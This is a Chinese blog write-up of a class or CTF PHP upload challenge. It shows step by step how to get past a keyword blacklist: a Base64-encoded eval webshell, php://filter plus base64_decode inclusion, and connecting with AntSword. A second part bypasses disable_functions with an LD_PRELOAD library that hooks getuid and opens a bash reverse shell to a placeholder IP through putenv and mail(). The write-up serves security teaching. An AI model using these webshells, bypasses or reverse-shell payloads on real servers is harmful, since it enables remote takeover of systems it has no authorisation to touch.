目录
一、Base64+php://filter绕过
1.思路分析
2.实践验证
二、disabled_function绕过
一、Base64+php://filter绕过
上课讲了这样一道题,一起来看下(以下代码适用于PHP7.x及以上,5的版本会报错)
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
前端就是一个上传标签,没啥可看的
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h2>上传文件</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file" id="upload_file">
<input type="submit" value="上传文件" name="submit">
</form>
</body>
</html>
1.思路分析
题目要求只能上传php文件,上传普通的一句话肯定不行,直接被过滤掉
普通Webshell不行,那上无字母呢? 很明显也不行,过滤了$_ , ~ , ^等符号
最终发现它没有过滤Base64编码和php://filter,include也可以试试用大写能不能绕过
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行
思路:
首先可以上传一个经过Base64编码后的一句话,这样就不会被过滤了
之后再上传一个文件包含的php代码,include函数里面指定php://filter文件流,把我们上传的一句话当做php代码执行
最后蚁剑连接getshell
2.实践验证
- 那么我们首先呢上传一个经过Base64编码后的一句话绕过过滤
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
- 然后先写好php://filter,resource后面接我们上传的一句话,因为被Base64编码了,所以要先进行解码
php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php
- 之后加上Include就大功告成了
<?php
Include("php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php");
?>
直接上传,但是被过滤了,仔细看看发现是"-"被过滤掉了,也可能是Include大写绕不过去
那只有找别的办法,Include先不管,"-"怎么解决?
这时候还是可以用Base64来绕过,php://filter里有这个符号,那我们就直接编码,这样就绕过了
编码后那就需要解码,加上base64_decode就行
那这样新的代码就出来了
<?php
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT05M2JjM2MwMzUwM2Q4NzY4Y2Y3Y2MxZTM5Y2UxNmZjYi5waHA="));
?>
上传成功,先传个phpinfo试试
成功执行,那就上蚁剑,直接getshell
连接成功后,原题本来是有disabled_function过滤的,这里由于是自己搭的环境,没办法
所以用现成的docker又搭了一个,来模拟我们getshell后遇到disabled_function过滤
二、disabled_function绕过
getshell后进入命令行
可以看到我们执行任何命令都返回ret=127,可以确定有disabled_function过滤
那怎么绕过呢?
这里就可以利用LD_PRELOAD这个环境变量,具体可以看我的上一篇博文
Nginx负载均衡下的webshell连接与过滤绕过以及LD_PROLOAD利用_Catherines7的博客-CSDN博客
这里其实可以用蚁剑的插件直接绕过
但这次我们自己来写动态链接库绕过
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xxx/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
劫持getuid这个函数,来执行我们的反弹shell命令
同样,gcc编译
gcc -shared -fPIC hook_getuid.c -o hook_getuid.so
编译后上传到服务器的/var/www/html目录下
再上传一个php文件
<?php
putenv("LD_PRELOAD=/var/www/html/hook_getuid.so");
mail("","","","","");
?>
然后到浏览器去执行这个php文件
但是因为我这里是docker环境,弹shell弹不出来
但是又没有disabled_function过滤的这样一个环境,所以就没有进一步深究了